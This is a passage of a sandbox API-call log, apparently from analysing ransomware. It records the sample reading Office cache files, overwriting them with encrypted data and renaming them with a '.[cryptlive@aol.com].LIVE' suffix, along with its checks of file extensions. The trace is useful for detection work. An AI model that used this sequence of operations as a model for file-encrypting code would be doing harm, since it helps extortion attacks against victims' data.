[0052.148] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.149] WriteFile (in: hFile=0x20c, lpBuffer=0x3fe7910*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe7910*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.151] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.151] WriteFile (in: hFile=0x20c, lpBuffer=0x3fe7910*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fe7910*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.152] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3fe7910 | out: hHeap=0x520000) returned 1 [0052.152] CloseHandle (hObject=0x20c) returned 1 [0052.152] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0052.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.153] lstrlenW (lpString=".doc") returned 4 [0052.153] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.153] lstrlenW (lpString=".docx") returned 5 [0052.153] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0052.153] lstrlenW (lpString=".pdf") returned 4 [0052.153] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.153] lstrlenW (lpString=".xls") returned 4 [0052.153] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.153] lstrlenW (lpString=".xlsx") returned 5 [0052.153] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0052.153] lstrlenW (lpString=".ppt") returned 4 [0052.153] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.153] lstrlenW (lpString=".zip") returned 4 [0052.153] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.153] lstrlenW (lpString=".rar") returned 4 [0052.153] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.154] lstrlenW (lpString=".bz2") returned 4 [0052.154] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.154] lstrlenW (lpString=".7z") returned 3 [0052.154] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.154] lstrlenW (lpString=".dbf") returned 4 [0052.154] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.154] lstrlenW (lpString=".1cd") returned 4 [0052.154] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.154] lstrlenW (lpString=".jpg") returned 4 [0052.154] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.154] lstrlenW (lpString=".doc") returned 4 [0052.154] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.154] lstrlenW (lpString=".docx") returned 5 [0052.154] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0052.154] lstrlenW (lpString=".pdf") returned 4 [0052.154] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.154] lstrlenW (lpString=".xls") returned 4 [0052.154] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.154] lstrlenW (lpString=".xlsx") returned 5 [0052.154] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0052.154] lstrlenW (lpString=".ppt") returned 4 [0052.154] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.154] lstrlenW (lpString=".zip") returned 4 [0052.154] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.154] lstrlenW (lpString=".rar") returned 4 [0052.154] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.154] lstrlenW (lpString=".bz2") returned 4 [0052.154] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.155] lstrlenW (lpString=".7z") returned 3 [0052.155] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.155] lstrlenW (lpString=".dbf") returned 4 [0052.155] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.155] lstrlenW (lpString=".1cd") returned 4 [0052.155] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0052.155] lstrlenW (lpString=".jpg") returned 4 [0052.155] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.155] lstrcmpiW (lpString1=".msi", lpString2=".LIVE") returned 1 [0052.155] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0052.155] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.237] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=10798080) returned 1 [0052.237] CloseHandle (hObject=0x188) returned 1 [0052.237] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020 [0052.237] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.237] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0052.238] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.238] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0052.238] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.238] ReadFile (in: hFile=0x188, lpBuffer=0x3c40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c40058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.242] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.242] ReadFile (in: hFile=0x188, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.245] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.245] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.245] ReadFile (in: hFile=0x188, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.523] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.523] WriteFile (in: hFile=0x188, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0052.905] SetEndOfFile (hFile=0x188) returned 1 [0052.906] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3f970e8 [0052.906] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.906] WriteFile (in: hFile=0x188, lpBuffer=0x3f970e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f970e8*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.907] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x36ec00, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.907] WriteFile (in: hFile=0x188, lpBuffer=0x3f970e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f970e8*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.909] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xa0c400, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.909] WriteFile (in: hFile=0x188, lpBuffer=0x3f970e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f970e8*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f970e8 | out: hHeap=0x520000) returned 1 [0052.914] CloseHandle (hObject=0x188) returned 1 [0052.914] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0052.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0052.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0052.914] lstrlenW (lpString=".doc") returned 4 [0052.914] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.914] lstrlenW (lpString=".docx") returned 5 [0052.914] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0052.915] lstrlenW (lpString=".pdf") returned 4 [0052.915] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.915] lstrlenW (lpString=".xls") returned 4 [0052.915] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.915] lstrlenW (lpString=".xlsx") returned 5 [0052.915] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0052.915] lstrlenW (lpString=".ppt") returned 4 [0052.915] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0052.915] lstrlenW (lpString=".zip") returned 4 [0052.915] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.915] lstrlenW (lpString=".rar") returned 4 [0052.915] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.915] lstrlenW (lpString=".bz2") returned 4 [0052.915] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.915] lstrlenW (lpString=".7z") returned 3 [0052.915] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0052.915] lstrlenW (lpString=".dbf") returned 4 [0052.915] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0052.915] lstrlenW (lpString=".1cd") returned 4 [0052.915] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0052.915] lstrlenW (lpString=".jpg") returned 4 [0052.915] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0052.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0052.915] lstrlenW (lpString=".doc") returned 4 [0052.915] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.915] lstrlenW (lpString=".docx") returned 5 [0052.915] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0052.915] lstrlenW (lpString=".pdf") returned 4 [0052.916] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.916] lstrlenW (lpString=".xls") returned 4 [0052.916] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.916] lstrlenW (lpString=".xlsx") returned 5 [0052.916] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0052.916] lstrlenW (lpString=".ppt") returned 4 [0052.916] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0052.916] lstrlenW (lpString=".zip") returned 4 [0052.916] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.916] lstrlenW (lpString=".rar") returned 4 [0052.916] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.916] lstrlenW (lpString=".bz2") returned 4 [0052.916] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.916] lstrlenW (lpString=".7z") returned 3 [0052.916] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0052.916] lstrlenW (lpString=".dbf") returned 4 [0052.916] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0052.916] lstrlenW (lpString=".1cd") returned 4 [0052.916] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi") returned 76 [0052.916] lstrlenW (lpString=".jpg") returned 4 [0052.916] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.916] lstrcmpiW (lpString1=".cab", lpString2=".LIVE") returned -1 [0052.916] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0052.916] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0053.771] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=36233052) returned 1 [0053.771] CloseHandle (hObject=0x200) returned 1 [0053.771] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0053.771] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.771] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0054.211] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0054.211] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0x0) returned 1 [0054.211] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.211] ReadFile (in: hFile=0x200, lpBuffer=0x3c40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c40058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.218] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.219] ReadFile (in: hFile=0x200, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.223] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x328fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.223] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x328fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.223] ReadFile (in: hFile=0x200, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x328fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x328fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.240] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.240] WriteFile (in: hFile=0x200, lpBuffer=0x3c40020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x328fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c40020*, lpNumberOfBytesWritten=0x328fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0054.525] SetEndOfFile (hFile=0x200) returned 1 [0054.525] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3f970e8 [0054.529] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.529] WriteFile (in: hFile=0x200, lpBuffer=0x3f970e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f970e8*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.531] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.532] WriteFile (in: hFile=0x200, lpBuffer=0x3f970e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f970e8*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.532] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x328fc7c | out: lpNewFilePointer=0x0) returned 1 [0054.532] WriteFile (in: hFile=0x200, lpBuffer=0x3f970e8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x328fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f970e8*, lpNumberOfBytesWritten=0x328fc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f970e8 | out: hHeap=0x520000) returned 1 [0054.535] CloseHandle (hObject=0x200) returned 1 [0054.535] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0054.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0054.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0054.535] lstrlenW (lpString=".doc") returned 4 [0054.535] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0054.535] lstrlenW (lpString=".docx") returned 5 [0054.535] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0054.535] lstrlenW (lpString=".pdf") returned 4 [0054.535] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0054.535] lstrlenW (lpString=".xls") returned 4 [0054.535] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0054.535] lstrlenW (lpString=".xlsx") returned 5 [0054.535] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0054.535] lstrlenW (lpString=".ppt") returned 4 [0054.535] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0054.535] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0054.535] lstrlenW (lpString=".zip") returned 4 [0054.535] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0054.535] lstrlenW (lpString=".rar") returned 4 [0054.535] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0054.535] lstrlenW (lpString=".bz2") returned 4 [0054.536] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0054.536] lstrlenW (lpString=".7z") returned 3 [0054.536] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0054.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0054.536] lstrlenW (lpString=".dbf") returned 4 [0054.536] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0054.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0054.536] lstrlenW (lpString=".1cd") returned 4 [0054.536] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0054.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0054.536] lstrlenW (lpString=".jpg") returned 4 [0054.536] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0054.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0054.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0054.536] lstrlenW (lpString=".doc") returned 4 [0054.536] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0054.536] lstrlenW (lpString=".docx") returned 5 [0054.536] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0054.536] lstrlenW (lpString=".pdf") returned 4 [0054.536] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0054.536] lstrlenW (lpString=".xls") returned 4 [0054.536] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0054.536] lstrlenW (lpString=".xlsx") returned 5 [0054.536] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0054.536] lstrlenW (lpString=".ppt") returned 4 [0054.536] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0054.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0054.536] lstrlenW (lpString=".zip") returned 4 [0054.536] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0054.536] lstrlenW (lpString=".rar") returned 4 [0054.536] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0054.536] lstrlenW (lpString=".bz2") returned 4 [0054.536] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0054.536] lstrlenW (lpString=".7z") returned 3 [0054.536] lstrcmpiW 